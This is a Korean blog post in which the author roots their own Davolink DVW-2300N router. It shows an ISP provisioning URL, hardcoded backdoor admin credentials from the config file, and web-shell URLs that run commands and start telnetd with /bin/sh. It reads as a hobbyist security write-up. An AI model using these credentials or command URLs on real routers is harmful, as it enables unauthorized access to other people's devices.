공유기 루트쉘 획득하기

인터넷 설치하면서 생긴 공유기(DVW-2300N)를 사용하면서 문득 루트쉘을 열어보고 싶어졌다.

보통 같으면 뚜껑따서 UART 연결하거나 롬떠서 작업을 했겠지만 잠깐 살펴보면서 자동업데이트 기능이 존재하는것을 확인하였다.
브릿지로 연결해봤더니 “http://180.182.38.50:8080/tms/servlet/getApProvInfo?macAddr=18c50122XXXX&downType=1&ver=F1.0&cfgac=6767&cfver=Davolink_DVW-2300N_1.36.50CJ_CFG&fwac=7539&fwver=Davolink_DVW-2300N_1.40.50CJ&model=DVW-2300N&vendor=Davolink&cferr=0&fwerr=0”
요청을 확인할 수 있었고 456bytes 의 바이너리 파일을 획득하였다.
대충 봤을때 암호화 or 인코딩이 되어 식별이 불가능했으나 downType의 인자를 1이 아닌 0으로 주었더니 아래의 텍스트를 확보할 수 있었다.

macaddr=18c50122XXXX
apms_ip=180.182.38.51
prov_ip=180.182.38.50
cfgac=6767
config_url=http://180.182.38.50:8080/config_ap/6767/Davolink_DVW-2300N_1.36.50CJ_CFG.txt
config_ver=Davolink_DVW-2300N_1.36.50CJ_CFG
fwac=7539
firmware_url=http://180.182.38.50:8080/firmware_ap/7539/Davolink_DVW-2300N_1.40.50CJ.img
firmware_ver=Davolink_DVW-2300N_1.40.50CJ_20180227
prov_interval=1
prov_stime=00:00:00
prov_etime=23:59:59
retry_count=3
retry_interval=10,20,30

설정파일과 펌웨어 파일의 주소를 확보할 수 있었고 펌웨어의 경우 realtek 표준펌웨어로 보여졌다.
설정파일에는

Manufacture=Davolink

root_id=cjroot
root_pw=CJHV_VoIP_0601

이런 내용이 담겨있었고 Web접근에 사용가능하였다. (유저비밀번호 백날 바꿔봐야 이런 백도어있으면 무의미하다)
cjroot로 접근하였더니 네트워크/인터넷설정 탭에서 Telnet 활성화메뉴가 나타났으며 활성화를 시켜도 텔넷접속은 되지 않았다.


펌웨어를 분석해보니 web shell이 존재하여 이를 이용하여 몇가지 작업을 해볼 수 있었다. (*아래 URL접근은 cjadmin으로도 가능하였다)

http://192.168.200.254/goform/sysconsole?cmd=ls%20-al%20/
http://192.168.200.254/goform/sysconsole?cmd=telnetd -p 22 -l /bin/sh &
http://192.168.200.254/goform/formMfgTest?diag_result

기존의 데몬을 죽이고 포트와 쉘을 다시 지정하니 텔넷접근이 가능하였다.

아이디와 패스워드를 확보하기위해 열심히 펌웨어를 분석했으나 간단하게도 답은 cjroot에 CJHV_VoIP_0601 였다.
(인터넷이 연결되지 않으면 “**********” 을 아이디와 패스워드로 사용하는것으로 보인다)
쉘 확보하고 간단한 정보를 띄워 보았다.

# cat /proc/cpuinfo 
system type             : RTL8196C
processor               : 0
cpu model               : 52481
BogoMIPS                : 389.12
tlb_entries             : 32
mips16 implemented      : yes
unaligned access        : 226
# cat /proc/mtd 
dev:    size   erasesize  name
mtd0: 004dc000 00001000 "boot+cfg+linux"
mtd1: 002d4000 00001000 "root fs"
mtd2: 00020000 00001000 "dlog"
mtd3: 00010000 00001000 "dvnv1"
mtd4: 00020000 00001000 "dvnv2"
# cat /proc/meminfo 
MemTotal:          27144 kB
MemFree:           11440 kB
Buffers:            1256 kB
Cached:             4248 kB
SwapCached:            0 kB
Active:             4408 kB
Inactive:           3124 kB
Active(anon):       2028 kB
Inactive(anon):        0 kB
Active(file):       2380 kB
Inactive(file):     3124 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                 0 kB
Writeback:             0 kB
AnonPages:          2040 kB
Mapped:             1508 kB
Slab:               7352 kB
SReclaimable:        332 kB
SUnreclaim:         7020 kB
PageTables:          364 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:       13572 kB
Committed_AS:       5108 kB
VmallocTotal:    1048404 kB
VmallocUsed:         284 kB
VmallocChunk:    1044808 kB
#

뭔가 하기에는 리소스가 너무 열악하다…
심지어 chmod도 없어서 cp신공으로 바이너리 몇개 실행시켜보고 끝냈다.

잠깐 분석? 하면서 miniupnpd가 외부포트로 개방되어 있는것을 확인하였다.
TCP 포트는 부팅시에 랜덤하게 결정되는것으로 보이며 UDP는 1900고정개방인듯 하다.

정상적인 사용을 위해 upnp와 자동업데이트는 사용하지 않는것으로 설정하였다.

 

근데 이걸 내가 왜 분석한거지…?

Leave a Reply

Your email address will not be published. Required fields are marked *